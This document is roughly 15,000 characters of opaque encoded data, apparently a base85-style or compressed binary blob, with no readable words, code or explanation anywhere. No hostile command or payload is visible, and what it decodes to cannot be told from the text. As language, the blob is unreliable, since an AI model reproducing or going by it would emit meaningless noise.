z{`z)sN${0~+T&1Lb6=f+XSjwKES*k#)18a?6IJ1f6Zq~E;HKB4j`&h8)?JM(hzJ3$ zXCm$MSr|P}TWmn#C%Tz`KKPuZ@|3G0Ao7&oHH~Hs;U&5U>$Uc7FpM6_yi@+rKN_Xs z*0XWfqbEWv`ExDozpvg34eR1z^|(gT~C_}RfNRJx^EejaxbyLPR) z8UrBiJoNNL{SxT8{g&rL!bmd`>cQ+F?&Mw>^ZZYx6cIM@Gb}tqY5H#xF~82o@)mX0 z4V5X0S4n?f@(351D9?}2sAmv?HgutD|wjxath)c5^Km_W73h3>mE`wbE4RKvx$|Y z?BpV~vZgITsaQh?%e|4pUws8Jq?ou=K`79(Zsu>s?Hp~@*!#nW@x*X^OeZXQ$p;cL z6uDhF^En2i0RDu`G0_4Etv;qUrart84PNSSLS6<913q9b36(q({fBUJgV26uPH1^j zM)^J_`z?wi)_XI;3|3wFZz#}#ZYM4lE zxISva{G4~kw?EF#{S&R;ErTj@rbyZGeW>jbBGRQ^6+z)nWcJDanM^W_X^F&o=Pt~M z250)S*zS{u5$vXs&6To`KY!dUx#zae^s$`M@jDkUYDB176Ymo2^oZi<_ixc1E4MJu zlyXj#B$tgdUT4PJ_m`?BsR&ea9R%yyVKqcxNt44mPQjbA--r-*-_%4#ncFGi(S?}v zLNza#f!@S`J@5K!#17*`jfcnp{Q1tz%V^$Z0g+wJg>9Dn_^GC%+iQYpv*Y0xEVREM z-xdp=Hn)wBGHlP!+ z;LLe{f)A}ZlL2nsF~lf?g3r&hcp(CNX^lBu#_2!A?|+)g&2g8MPfnZ88&`}ZRZdV)4>6uCaV`aG%e|BsG-?*JD zx(w1xD9J&sqQg5`OO_;;(KeJH$iUcsTFG+v;C$Te*=XC>GU11oB(cYM8cgM;;F;!^ zVz*dnQ+-{(S7XZ=xw;8X`DP>y5F@TRpOFk1tC@*j!l7etm7S3{7g@qq8Eft z%uhA;z4KC|Z`Wt2OjkZ)aP?3mj>+5<$wl8kg$ia)N$S}Y5^cED@)o8|7bY3Djz{zn zdTE)<;QSu%)ovn96joY!qLLF*CGkD|dbn_zJMg{sMB`_r+PcM1g3g)}RBzB?=)9$) zozc;|%Wwj_MRBnRjP;IcqjozI&LuSYf2JO91{Fy(!(amXCpmy=;;mvoR*PTC#K8kiqniQ(Jsn`9KZPDMUfk^Y8!2ES`2) zvs_w7$%eYJ=ImGoIB0}uh*Q&F#ep?>U43OW?>;RtZZ`nN!6SSJ*7HCAuw*`!({jzIFW5{y{+S8#-FnP17autpP5704Dh&^<{?eVv+!EMq(4xCy0XPbTk8S ziJi^cC*XznGo;=hFim_U5`4cqzy zK+HJfLsDskx9o5=(7+p064M7$eCL+{Jj0>_oW%+`2dEs>VrRg%mVG{nIw2Io>8Y3tEs@+*7@PMLki`TXm05KX@1O)5N`Wk#7d#wf4<>Y_kU6PX6Y!HyB)3 zR3mm&8+X*Omv+9j@)-`En0+o1lel&_be87NGo*EbymcF1WL-3nf9eiW*jkXKPc4t| zl(6-TiJE9-=`y2!o~^d1B*qr&DUEa6!*JSe|H(IE#59wuLS*2Q>SRy8^iPoW;PvMT zNPJhN!m6y`o$4g3j_FOWckfBD58oEMN7hbyw}pnN&y4@Ye%b|%aRmNd&c)(Q+l=p9 zonsQ1o|k<**?rUi8{NV%b&u0pHF92HLV43IJJk}|i*)xc6TR!PnJS#`f*&=z?8-7; z+gVIZ8;sNdg4aD-Poa}q$}_F*2cMYeTZGK?i6x0yg?fMk-w8Vac#&qb15+qCZ`th8 z!qttqpj#*Q$?lj#)KapJgn(GAm|!aJVa~)i0=SkS%s2Lc%5Y+fDon?XIogtFL)vP5 zOC+eG{o*z+k_RZn_Ro?36a%$9VZPy&ynd@}cwdv11Y5-qIAEwmrfgi8z5gL;#DsD3 zuz9j1I%^%L=mntMOAHlG$1GNvB8npHKU#bneQW_v)Gdk&i!2VB@DL6O5S~n{9$t=c z6q5?hFACU#a|FYOGU{f(Y<2{RCXFr|@pa^s5vyJseQ2rF$?Ryiz|;=H*?WknlyL5k zd?lmhz3KN!9_brrCKVuRlsnRHnmo+u4~;T2?HNnM994i?;~?>Wc0^XoLsSok9jM-` z4k(p(xKgtH1Nl78XG4YOT*8wzXyWKSxMbXhg9{aO3HbZP0x{2%H@>z*C-(^4(|XEu(yf<>*(Vm!iU1d>14>{>ZSjavL=TVe|r>=PUUdxge( zghjWyG+UN$$Y}Scn17K9L95^|&|-LtIM9!8&NBA&`jWWsddZr>)MwY4^<_E9v?xY} zpMag1Ljig@I8)_pn#x{xw*a_u^BkKYEXQ&{MIHQG%=R~+H5OG5|AYj5>G%w&?~AtD5856wJ3sS%7r{U9 zP+`+ej3b;6uDCFZVGCbtY0!xylGuvsR)L!8T5P1q3e4a%{oe9RE;IA80RDEHRjDC% zCaqev*ie~k9By^b;Wsbx(USKXXCV3gHfnuGbKH<_KGs}*=R-k`S?#x7I(Z zU<^(be$)BgIj<-0znZt1uu~C#jKvFBr@|ZntnKkK&sRH5sRzFWk5kC>+AP!WyO?3p zH(4p&Fc!w)gz*SRv2LAQcl)kqkMenCY)tcfi&DoncU8vc@b0N9RXb4A=a1Ywhq=)t zs0!`+Th-4L`ZI#MZR8{;TX;>y?Fo6;e*x}K0DR60en)Md!PuP&pMtY%d6I*uKs524 zE@MUjFjf8!d!R> zbJB{7ncu&^c8D$By?&(`TeQc>wKwsWW=83?De%WE5i7yzMX@=J=CvWko!XM2R~gQQWe&35IF3fxKTTWt1NyV;WVVh!20m z{%;M41LLGg8NDiG_)py-#YlgfCYA}m_BRsGQ`}}QXa=!4CK+H6yD?lY3xeGR@6q9h zTkd9B&-s#!;^}3jD9}=Y**V-s=$BT)g)zHzc!cE+IOBxY-C*Yr=YG;IEjnK;a0x zQGc6@Vc6Srxw(jIh5dJQnePZD*J2-%UV_T)yrs-jNe+t1;)@NzgS@c|^)&(LrUqOo z7!Q?hZz^A*r-ugjTJIKh$Ap{nSQQ0bBcpWi(b4k$ORPMNGw?RLr7!mKH(&^8yWhU0T`8= zBqxC@!bP?mG!9MWx1t@8ciJUE)iY`xdlGW@&mGwe7XU3 zobfqdy%{4=3v17=MU{Arvpl5<<5{ZQ@~doJvacbd^p=BFCx>joV8qIgu)66UFF`20|O&uNhB` zaBwcZt2ukJ{t!EOrOm6xNClFlr+M@HQP$E z)X|SU@&MW|v7D10|p_Tfl6;4#^~6o7rCB#<_WVXj z;klcJvis-=IK{TJ9C-$3?*E)bd z3Bu34Olb>u+w}wNz0T6cL%7)2gKLgJelOjtB($?4^sBiH(rN62hnM{5k5sn#{YB+- zmKC?dPqrO}Gcz4oR4luHu~8gplW=&1t(1s$Kj7s`-8R`)ED;rXU>Ej9WMCR0Z}LH#J&ju!ur?G!z5aK%rJG!4civa z_B7E4=XY^;Fuj3#IPL~{MdsN{vCfAA;aF(|;m^9sa%IJ>Dk1C}rfe`whOpbXEOshj zHtGgl0X(4h$}3$>v`KJO(D~cJI@^p;9+OD~Y8v6ZUi995q|T^1Di^7V?Iwd7@w=#! zJ=QkV6d+}VYurhDvsn0s540|N@yN@Cb)EheQY{k3!im}mnW-m?HitaK=d~W-Z9ZA_;WEyRwxsLddPb2Y7}3X&$O`JAZ2D~7seT(FAV z;k=C+*;Vy6##^y|XL+H-#OmF}h|XXUTc8cBr3>4Ovjru77vD!=dG(oiKSbvrEF~h{ zUewXO)p6z1;YMHVrkD(VkIptZ+i0XO}c<=Rz{Ygs1tqmiy8 z{CKN7@gO3=ZwO{|pL5!CkNwnWZO^t$Ys_BSd3a>b8@Ks(Os(*N(=AFVza?|@LMn;I zC6xt0b+f~`!7#J?+@=8a&?|Tg)gZQd9j%Q#;$_rb%q;nS%Fmf0Gk!|56_)G}Ic1wR z>?)~&pzbw+hI#Bf3DMA~`EUz%%wj7|y5QwM#G8TQ1Zr8w-C!!S)iI#z0YPhb`6%5` z-N74r72m7lwc~3%i5+f*=Zm{$aj7S}1OPvBn^OHK!lb~nC~j+fHg#TuL7r37*Ejn$fy4Fh{E)#Q;y5#mn`yRazj)t%S9Ik~_E-fSonOGlWQYJ| z5E(3xwi}om;tMAQJ%%0rtu3-;@W61myNGbWB#dy%oj!@j48|nD@lKpROiHh9$kxr$ zz2Dr7HmxtB^Kr*c8V|5A?#2EGxqY&;I|Oqr0-Zf(BcNhQUa$U&?68l?O?Y~Da&&A} zFh;vuRbcpbXvOU@{nR%b_hKIq)f0S9TOTNTvXm{3*ybFMD`3IVA`kI{@}ii}Tx#&{ zI84kI>zQqQbpLlSqL>n7k$^Cj(!g#p>y*j(D26e=?pCQpWy&1uJRxkvf@%r zr}~52R@${Hqu#R-7IUS%Vc{u?B()a9NDnO1BP2gO+e`%7Ut;^}Pbgi#l9<43wugLU zH*xZKWYNcTC#WYEJU|9pyF;`mt{;A#%${O8fyb}5#f|f+F1ELMZe3+{8n~!iy{iap- z2Eku8<6lL$2EE=D&mwdMJK{G#BYp6(T#pE`;+p8yxTQn!+r^91u=O`KkuW|u{D$BE ztJ|~dGY)NPPvCPxKX9fRk%@){bcqX##Iv_ccl0`5{uh;yoX`KE>${_xO1HO1L_wva zB0Ug_Akw9VjudGMD$=EiNbiIyO+Z@cB@~q=O7A5Ur6nLB0SN&@4ZVjZ)$cHO?tJr` znfupSS+G`e&Utrx_OqWIO%4lQbL(i)5TeQyo|k+s#cVZ0qHwuu71;A6oU4=j=6Uob z#)|HyZ41qdaa;!vV4GG{A0V8qJ0={;-W%yRS%~v%HCj1|U7MwZbx61mR52DkYw26w zjq5m}Fv!TWYZk8N+iFyyo~VU&Nle63y`f8|;V#nX9rTU)6;IX}gj&z7O)(=_%-sC8 z1qv~v2}@@Uqq|*+PV(F@m${g*SLGDuV(wYRws9Z~%BM=2G&)sEa8L_ZSL}I*lXi68 zWLDK>wv zyFN?%C?OA|OUxg*BOW-kaseCs@w!f&jlFX5_IKADV%lP)d9FyD@M(2r74Bvhqi|BE0}!2HY4VIT(tW4K);9`-jt}fEcjws zy5!I{&31vib_YEl`Lc(C1i$U82CP_nwJ@SzU9`Q^u%hg5bu`?&?>9hbPF6vj^r*>^ z)fiO@f3$ST_AN|`B!g1N&DLmb^23E;GgKg@nGoFTeRO`5 z(CB&~Hs?aOp#kK8&5>7vzSN<7=j0GQHm#Z2-k2o2K`!do5hu5TAs*@U4S(%HXX!`p zKzv9S>KR?vtiM6++7(>|0mWT{di#{>bjnieRazoOAuK`Oq5+)RnGuT$Bk^*5A-cyg z6;3d?LS`7rJl1U_9zSy{WTZSOoC}90MYB?7(ecN3Pi}2p5!Riiw#97G30N%ZXTOW@ zzwUw01qoFCsNPMC_xxdA(%GGRPulw-uh(VMl#zzDyoEs(`Gk8E_V)0Lo!3Wh6^dJU zocPrN>*z0!T%NeRad|=Q!DhvQC? znJ;>i&~&msqPl@3SJqmwx>m-a{F_dG2@&J+3sz~ARh+y4`&&%~Lou$y!nnr;C=i80 z@N->R;n6(E2DN}CQP@OBcNK>-c8-OMlz*S2#U0)LW*4N#y?gs2%k z4<`#Q^nAZw79r_vhE+W20#6cYePk9N_(+Q*wVSLx##JVEd0QI$os+ha|x-lZ&9X>vQ;N}cbf zqdI5ByY7Pu{4#^w3~Q$-1jZeoka>4&Sv|Ka(U`x2j+ zMh8;XCP?@vwLU5JF(tKEen;99<2{Ts1yQjkel4cZvZ>o{IL@}&d*mDN{p^t`>)2t1 z-;w*&sQK7CD?=<^TwbtkTI+BvJ!~hZTmH3p;sx~JKHq%CezOU7X!ps)jN)&DHV^7N zxS$WUFPB-xa%q%mKR2Uyl4e#t7@Wjwh=SFY6r&XVA zkZ7EiPn9?b_QeoD_o)=swc`h#9(H{B9uJ-O%Gy&?Nq9cXOlVK(ul^x3OIoCqbL{e* z7Jg2;>w)`-1QsMyj1a1rWfN~zC^V7@Dr|sAP#!p0>t|lpM$x)+hF+$sO)3;=6Bq`)5_e}dF8Xq_S>wa&+;X^91)g0V zg>WpuPlQsW2Orr|auaQrd`FPQ#i~g=Jq-}7uH!q46j~hywJxkQ6bLFTpzpS$GO{?R&qxCKt2K>UbqM!^U>vyS0VNxKJRCk-blt>{Lp3&<2T!f6IRW17bGaZ z&H*ABF%PGk-+WWk)sQ0KnG>msaG{Gtt6!QCco;WM!mNi{yi_$UviGEaZhF$K5fAs{FOitP zk>{a#Z5Df5#z1{cP2VVdvn5cihuf zwpzILD=Fa&l39M)dl`3E=SGTrgmuSc-^4{l3Vwzl(GG8OU=i1$oUiVFz@C1hw;MQE zVLyJWPGc@|h>YTp7SmXyXYb)3inx%SfrOV3d}H%wINu14@|EYTL%Q*dsg}mIxP5bV zMf(>Tvg4op(j5tzr|Z=}QT3?ftQ3#T0NoVdf$q?OYSFp+4*$;(Jo~CQ`mFHRZjK@I zXPdn_?D$pbqJa(zX=^=-Y|jz(;mMlg6Xr=ixf29qxqRuia^?+W{7r0GNz6qftYAsA zQ-Pc{aua#}Kf znAP|&t}>cc9eS*@^cJoD0qAFe-~GxV3lLAt{I>JCh|BGVKU?`dBF5IrT5U6)t3f7U zSfI6zLU>T-x60v$->uav=5H`@=r2Oe*4#tG zr=LleH0&RS4)29iPA0Zoz_kmFbL#Z$TKGSC(D_G)4WUIWwU<^s*I0PU$C!|2JRo$( zx|5E`2>g(Ee&p7Zw=#-ts>@c$dL}i^!;5`ZDUAYuptr;qLj0|+T3n?rXBNI{0B)`} zf<7#GRmqGEwDHS2pd(u5iTF(s*)T;BRM+}IXq>@%Mgc`TP)Sr;H^iU6T?!J{V(#CJ zH^`V?fR%mSr`l4b%#&b8Gr+||qnc0oqed=3vm&PcKvUn)bR4D5$ywv#FiRTuY2?S*OZ%4FSWXy^_ev}oT_YKW|K@vD1hcVrExMdMTn6q z9qS=>hWX8=zcq?rUzl

    Yff*9p(`qAdG-)?Iw8dvu(+;zjnv+qtbp_1y&CErMLDU zGhPV&ZccvaThFXBqfSO4!k=jEPj_G-j_|U(deHPS2yO5?AFQ7`;?WDMv98}dp1Awy zILdYRJA7i=q$Ilkutm<}R9hpXW9%}R%7>ACcHy^u`<{jJfE$~y*F#&t;xs|wLkkzX zlXS$G)n#uz<18v?&Pp!$Pr&$3GwP2c3|!K}{rsq9X6P$1ZvlmJ7D)Bg^>H@pe~IKN8p&PbJNmhu zII}!dSkZPelrr#GY?8e|<-aX}KRN+_UiKM+ICxOFSDLMuMvckiaDeW%X$HXOG~f-c z_IkY?CLu{}530zXRDsm-{-ipmDf*V9l~vFkGwqvAICzi4I;T~^rMY!cpP8?RY5St^ zccJn3=TXhR2a{XVUqX;xw)L*_57w%io)OPK&bw3jZ@2!ukksDhup+CccsH!gllpeB zYm?fOMia20`ZM-BiFp$>TVA|v*Ed0ibJNU{2K|m>4}80>5hk0D+jkZR7}cR06WH_= zc>n1dwkqWe?&Nq`0m=;#Wv%6zY`C-V?c3hpAM_vh?yW@}ZMQQD`ta-7^Qsd3cbjjq$oLG8WE-1i zZ`h_op@x&Kzn)L0Lyz}MJRKMg8{Fc?lAH$q+f)C;@c+E{hO~(-ir!Rj5O+>ZB0nem zUx;nQ(h|Er9bYf!LZTwaWrP;BuBF4J(FKM%GQK{^PX5X7YGUyrBnZ~UHQ# z9a)#zpLZ76M6@o6*Bp1nFgh3>0F$i@4eGI3p^zN)qZalG_TT$Hf4=QMKb24kruZl4 ziSADboz|KG6wdiT!< zsMFkAP%fLiJV9;WWg!!4(R=0dS0oE<&w6yzAqsQ1+aJDc0e)W zO`Plz2*NJVvAdDj$LJazvJ2rVk%lhzXNe^r4;SgR=WEcl`x2nY9N+uh5`iXvjCcI` zzW+-dk7>g{^D3K9MJP@`@hbb8N9BEy6f`MZ>}CJiWi`&CJyX*|qJQMAvgTwuNq@Y!v5e{NPslRY0NZG=-%IHALu1?(G{#4?F%AQ^B-Y_TNDGw|kz}0zI7j zE*|s>#dIE9ZpAcCx)Dzm1O+?$il(h$F& zf@p!d8g8f&i(G(3`Q`a8L1^o?E$;WQ@W+_-UoK@KueVq5X?y-GQ>_$ll5K2Ahp%sD z%{(cp3u!|dxf&AI@a~R@>baB<(Jw0EIythocs$@CNK6w)5`c6~+-mk+TRAMda6X1n ze0;}k@#Y%<_YL_5VaDgRa=JTH(5i$NRDK5i@f81hL4=d05krw&iY?(a^>S~GS(1)( zStv?wSkgFpvQgT2y=dHT_NB}a$4Aj=v^Tgdj*TVa7+vQ+*Hu>!i+!)y$Rl^9NVNC6$ zX^UPFz{4=FesJ>Q+^x_{?b+*4tGNn?X=`ux{|pIOnE6SVkJ`#c$W1hQeAdFq`tE;o z-e1Fxu5}qEFg9~1i_6@OPxm~n_2i_~oQ(H(%QW`}9JwLHBH<*FTc`6VX~*Td0`&X1 z7S`-PW%ystL0FrDA}A8oKKs%gRxTG^ds6{=%Wlsk)fWEE(yQ8d9bKu~yVJzq&c6%q z?*k`@=k>YB9xb)c04ltn^=idSWzt_s@ibhIEp&^4`R#w(-SX{AmW?zy(9jsruVS*b zGcX)LkEK*BYX7(U@VE2+T%Qy#fs+vJ{vf&Ik}<6$7@G66_^mI=c^IXT56pSozk+mk zpR3CYRH4Y6Czbw<%y^z5T* z*|cXx`?uDxXhFGOT3}A;<%atF374}*{{JL}e|2u>fvz^>b;Wv~0%{7l;v9R>^1tM*8O`#9n~NfV{F0WQa^-#C@ZQv|3Z1i!@MY;IVC1m-gG~ahLUH zNH_RjUm`;!RBYnLJND|EDaZWAHvg5?^CKR6-(;PHn8KN|a7RTsTdq~YZy#%;@X(Zu z-Nj|Vb5unw;AolKf#D~%s?bua7i+Z;@Uf@zU%z5{8uU6dldP+Oz6(RI545q$sDNCg z48|v^M?KnjF{)o%pnh^uE7^^TJ@K9KvuC7E$lN|RboF`(g1gR0Y%+m0;HSb)H6*|< zU?5^(eWlF(udeFPU=Yq2w4s32cj(j>k zb;>LDJV!-br6{{_NSBJDc{@PCFOAT2`;IE&Q_TYYnlO5b*f}|7BNwPXw8r?l7`C^LKEI!eQ?eRcelzfRogGnAQuAlnWf#c_f#86jXSmej7kVleY zN}$MQn}KY~I954&?Mw-lrgu4xc0T>=jokCiehm}IFZ1)M>nF3Fy)*N@0Zh`K_7WZ| zRvl$z0;Y(U+Y!o@i5wVXta;YJ1YWJh1-ZY3B%O zt;cNtVZlRsm7~7${hD&W)nt+j)c}^CMb=Nk?{qI_=4)7|ims!VCFn3dUPD9UbN9}< z9?E%|Gv;!%y9{{a-k8kalev?_os`neH{iYGF}_T<1txh9oU`WstWS5TD*6_ z!A5iWuhsHj7EFsuBayZ6<5zDzA3)tP1*#+!H7R|6JO6Dn%Fn?(wwcu~nT`-qdQ+`? z=^r-ExurmIvhV!qag+RSY>9cA*?JRr|1Q=%k%4A9ft0U1n=U)qN~R7s-B-HfSe;Bg z5l7nD5NtwJ;L)xvc*J{_ZMEv@ZyOrsVlTpAMvlSa07M!q$fj93knP~O(#+S6w%5`j&O-!hAK>q-%o$XPa7{T?H<5Y{x1OnP* z-t~r-Tf5f%x;M+OT8ML~2)pRKui?LX9N?w00`(5Tzj)8fc)>PQ^DLihU~{yCxkx;J zbQmw~wLxy?zxQMZ59b7-+Nx{@C;%}JGS`)p%fU1X-i!S>6?e9w=l8nqM2d7USdcYH zroTwpFxa*t$l{v;P2&>SfdY8Jo4%4{#%pcV4}7#A{7#txElI(gn!IIid{tUX!8SuQ zp*+L_u?iI=7^NL9TS{in|*i{s-8JfxpD zl{=T-i3+4n5Z9MMCD z6dsD(oM;$AZ!Jl?Eog$PN31<55jY<$K=KvO(NvuE@-5+TXOS@|VoRx>jr{m12JZVN z)>^wsMU$77QoRu!^~i8uY0@Kj+hu1d=_VU;$XWQM5`+&L&wd5!ZMZ}Io|I7`0Kag! z6V(n>d^^#~H0-A40;UbHh+qP{AU54jzm{a1@))VHscFS&qV~;rN7t~H9R$_))J=6z zH9F&XjCDWx8JXT;w^Ho(A5Zv)L;Uly)dB)e{ITxPabBi68sul}W${)V*Hv?OKeAz5 zSVnwPmpeVm9n6t7T~ zM~92%F#Gw2^_#=tl2#P8dj{QivpSE#&A{kui zR6mqdde+Y6I>UKaF-aEhXrc7tAa*T%DNjQ(%pSZu7E$=e2;HBzdL9XmZ(OiUzZ%vy zt_XBz>cV!9^HjOT2IFI-YdIPcs_B)gdgh{Y_fPN9yw#s*aI;~&BDPPaITvq4DvxK4 zlWKab5r;RVM2f7+^56R~#6JS`&}~-*xfC!%o{Gb6#1ps1Jq(P@*k*tnZbVJN6ppxo zMMY5w*)oVw_Hg`wx%u}HR+p^`FFx(T73y;@_n786V1j;o{Gu^FptQ3)R4I2@X;_$St*H{~tZxuC5*pS6FC zTlsqCD04RrOP6VNSd|^i%CxS24*Y|J_SgJyG>}v?Hfld7%zDsV0eA@Qx``z3n51es zTnGq9Pwr16o0R>@u54&cNtG6@%hvZJu&*y&33pcF&!EU0ikgq7P(WV%z92{{sC-kH zEIm9;2`LFPDWHNsJ!_P^C1BR_Qm=8X7F%b&ciE1+4AtaRW0G2>f`TfDZl^;82QBcK@WYw}cRKKkdoMPDgMqF0z)=^a>af_{1r-#lDb7 zs&k$Chj73b5o1rqRz5fVBZvX^E=H88G}3MAWaPW-8%UkT6x74?JS>LPg-j8jtpCc;o6s1O_Tji;Rs^?lVA#FY!rZB}Hj6{0oXd z>wWRh(T#oPFC#Eq{rTkggS9_I@9^IX&8{&I9*#lc&y|365GJ$X&e{HYGUfF zNg~Bzd(VK>`u-Z*x1;MTsR}R?27Y6SsR-GQr)`YSi5&tZu#W$hRB ziSXZ!6~BW@U|ycxo+>aCgtrjn_JGdzhgHU9P=jWPitBcpQnZ1Nka|sTs=z&gwkSFQ zQQ=LG3gr&A{tcWo&fev8CY-gHCbZY#R9#NRWNKcelyF)k#rD@2O_r*7l@kWRO!wIr;lP{%7l5;H8CC5?KC=a3||%}zns#An=w z&ZAtt*7uzLB>-$P1nq5)H`V6twgM%z!ePLVgYi4-5m5C?+hWMvNPq6`oIA;(A(qOb z;GxkRwRt!({&WPz|0W5(8mjIcq47SNea_7MSMCs zD=)`SEU;ofUm`mmpV;e*9=6JkM@L`$FtEELd+EfW7o2mFeW^rTd$QF015-glVfGL9 zGU^62(hdwiJlt?V@z)*{q3xxx_PII`;qtlfy^9QEpW6JmGn@wJcR=(6uwAKNx7gk#d!>cCDx6bzZEF!uCmb) zk843uuyW1Xw*`kPk?j{v`xiRdiHtpAoPo}D_3fX0OBaa=UG13Icm6<9^rn7Qc{WPr z8CuK9tg1ri(arE;+PG(KEF_gw@dz1dHpz~LUZo|i%ggbJ{+8L}eR_kts~w8;P&ikE zdfjd?0&#uDb$j+Oq5|y6Z8N`F`;2zS8oxPIL;cC$=QQ`pw{VrOgy$UBvJuR5bR{;> zPf&Bu;7W|b*!@86+v`M*hKCP!nC@3*%x2Hq*iBu^nox~_rC+%bqpwyD(4XuaaahP9CfaU`ic3f};L} z)WcMT*#))y7b;#BZia=0QCE02c5eTiGl+OrH6%9BWxFccPjp=tdEQI)2Vr}f|b;u;;X>xn1}?K<6fPi*`7Bz}06 z>6AlJxm>Q`#`nrZCH4{$;vYvi^ZJ!g?A(H6q_fgwmR##7Vu7ofstOU&q>;*h`3m;R zy*zNR24sTDRzu^OL$|{g8#y3ii?J$*UeBa{H;`krNKn}65M95O-mN{E9wD0@O)6U3 z7;y6Q5%?MRJb3(wOQ^uKs;aC3=?I^RUNtp6KuULjqhZ-A0W!FFm57YlbxBvsqSZ#$ z2F869=t$}UZ+6MZ*J?&d1N+%NWWeOxUC?#kX_$g6_X=xvG7YbQpMe_n-yfooV;9x6$}qH(}5c zECxc-L}!!3CF{`K^X(30R(ISEJHBB_{nw0})6v0Tu0{zC#6U+!r(ea+6aI#kzJa9x zqW-dy+U1Il2Z(v#iCrN3mH2XqBJ|~c4bOVL139W?Na{Y}>k%F`w=NYJfl|VM{dOTy zn|;yUJFkMd@A$DF@%-TqY0plKW;Wb+!a0?41oG#o;-8QT5KPN+s03wug&xMvXYKg( zJq@V>5>6I&AiS^y8+;IB-+Dk&yS;5#C>|?IX2r>VP15@AeZAN+)8?@VIV;w$eA34* z4dyk7iAZ5+ygqiycVq|u_@!w;*7sgfO9LYlV0=FbS;N7rm0DXRL8+Y`5g|JnHR5wU zCp$B-GCmYS%Z#`MWSy11dfLD4z-=fv7ObXk^zgfSi?a*IN5L=sbRSTegm)XU)NfHe zp%`jL$uoi3*CR?}kB;C11LRg!IMj~{{^f8v`+;oJ^{i~ch8F|Behl?pQq9leaKX8d9CHO z0%c~=CGYPz0QrTYx5<=Mwl%9AXJ4e@8N$S!CSPTHBNal~*sm46#Hq2oE}(462C%@6 z@pKiR4Pvm^E>8~<{oZ7#0x12cp=z>6RG*@v7LAO@1hpuk5%N&t18DTnVjSGfbkS}3 zk`*fxED>GrNjgNxV|iB2df^*9k>vJTq_w_T8NnKS9V)=Z7TKXp3V%8t-;I`gnihE%@4_tK+isC&RI;B|IMk|C(U` zVIkhvNb&W3lHGPr3Jyiyap$GAOzBD8qg@Ud0WyM>Zjg2GVhVg%R&}wCr(b+(;^m}g z1b=n}Qlw*Kt<7>vZD&Q~5l-HY?|o%{j~pLxA>iXx zCfL4@u1>Q>s42Z}RDJ1qbF}Kov^h#+aK^`S$?8K)7*!DD#thbLI^Y&Y*U75Pt!_t~ z$P*32e1PcW?4J-k#*dPmd~gT*qvBkyl$0D?e5f$FvTqz}zzpQ=_+;Gb?qdxd3Tf$z zPkznO8}YeWdHB0yDBERoILDR>*~-76|6Wn@tiC1V&k^8Vp~qf)1~D%Sj|!pP@YDYoqgn^UYUXGbbK9ZfzpzMwI8&O&RQJC`Be zW81aL4>MlG;PJTd3B?Z$wWzBJ>xB7Uq0=LaJTv=HtZ2GX=eC&ggR2F+iy0BKNYw!L zIjJvo$<-w}i~Tc*oAD*hS9Y%s*v*UGW08!4ogA$?jaA!Y=4xkED-&C7#*=Kt2Ktzt zlyhw-vKQF|aCMG2+tII&4PZZAcrX;P|Brb2kllk_%cV#)6FOBoNb$sOX^3x5n& z*_e>XY%wM#;NUyIiMxjZhyAZ^;QSM?D&fa_A27!a!S0Q@uM8wW>l^5Dv)?{o7)+>B zBBr_*p6fQG4sM1SK?txIpqzBn%a1pJU&;y?a4U_^v|{6>HdE6X7}|l^faAWk48Fw` znc)yGL`)8&>p+{@7qH>c*O8lxEiV>KsgrPbDs+-n7GeUI65c5j?c*xqN~xo>9{MG} zOPYFd4_^?2Z_CyBTubXUWnkR=%$FvG^gh(weysT(TVjM3P!v_TBC>vy8ue2Z4A%K@WoS zT)tf;f!8i~(9)~|GPSQ*Vm+NzUOL>^dIBI7s`263HC)tYq=ISNUspL6EWq4Qa`qk5 zgYIB2kWte{%Nq^@|M2xgm9fEtMgn)Q=1pMhOwrKxOR##XAG3gVHXN(Gu&C9%L2Ta@ ze~mJfZBv)S>T+!(olY!b1FD)W;ZliOUwypKg#My0^^-ejiRW;(b1*eja5kPL+?ykx zXPMM`&pM+{bOpzTlM3=FH}ak}Ui?RmDA6uT!v9|_fJ^|SH8D`M%m9=RS>-;jDo%Tx zo3%&$XTK)J-zva(sQ%Y|^%r{e)P@o5VAaxEkxD1c2!|J+v{{0>k7N1pH#dQj*qNP# z&31rbJ4m2jmld$uwebOzIy8$^@jiRqWUEaH&>cOj%B{hiV zwMooSY+5?1`~0B=K0l9t=_NdG1;Z@c_k@N6>gv~|k>?2q%x?3y(Nb`)Wk!QK8S`b5 zsx^eP(BY9Cc|szw6?Ze$3;$EagY3dm+q4agM6KO5gO=uUHwKDb5UupnhNy$1Slsvz z>6G=x@n)C!B^H|_Z%3|SlosR6ZqfWIe%W*HY2!c61b`ddBZ9}wP1QK$|8hQ$>odg| zfBjEu6J2=&Eh4UzWQx`M!rD8;6X`_6@HxRtqljg(?_L^aW=*cqQ;zOBz3}<|#@Jz0p_oMiOQD1Ce9AHBWPxVG_IRcnFQd%o5Mor44y=h1^y zX(JWsG&m#*FHbN|Tfas;9HS&7IjM3h@rRSfBAky-moS*C+Ky}T3I`ObtNY?)Pj`oE zd&NHxw8DV~v)Jj#y&C91x`^lN99ia5V1vfp60c+jF~5X=h4Ji2@$xQrKk#1-!hyFI zRJ)t%Dma*&i3_L`8Q+GUj8VCiJGwehOxge)53;#B(_Ann_1jK;2M=Y%{F14Izk|l= zoqa9uBmPMv3+bDP5W7}!0W-2k*~x5TG?Y4x<`U4i8_c9w6?F3Gx8u%FEQ_zpsXy!v zdYpK#b@{g)R?s~v_dNjcaKG)&EvH}mP5|d3^$k$usQlKV9xOaQpl{}X59n`T+QY8V zjk(NrL~32>0jMAp0Nnt9?Q{J14SMymlg3|uOV0b7VM<&l-Ay;`%Bbps8^w83UZQ#u zQ5SvwjOn*@!(XpROX{@Gf@qR^d+#Vz-VIyC&H+6e5`{{KNt2zc_+(F@XEJ(v*a38K zP~;EWNECL@*;fGadd^M?`DpAIn&Jl#MI2OVk{N|J2g!qhcal7F)|@;uiA$dGmYDEA zDruP6O>Zt?!!I^B^=fsW`nCi8-kx$Mrp?GiRYi=T-`328^L8a`mkjTyG*!qugxg~O zxwN>?Pq|-agE-3$v-h$L=Ne#!WZ6pmT5_5iwCsly~6>YDY|^e?BL_C z2{`%+8pqcf8Un!&{U8%9{&i59{)Bp_HO8-3C8681VOx1d6Y>vz-aKn`TikF4vM4c} zC(koT9(VB4XhrV!i7ogpbu!+5Kefcb)BeUl)%NyW@=Slp{LJU6GO|K#R{GKa2~o83 zXT-PzU;JU7om_a2IB`WE)~U zcoq=g$0Losb+c~)4Sd5_u0UITY=rj&x7lL99LthrmxmtA?PlOPJb?}bt_-iwR1L^F zWT!RE^pGW&-B>^1_Wquh0U;A_F`)0yWFC9GiJ=kWq~#u39MJzze5c*%%pdCg^SO1s 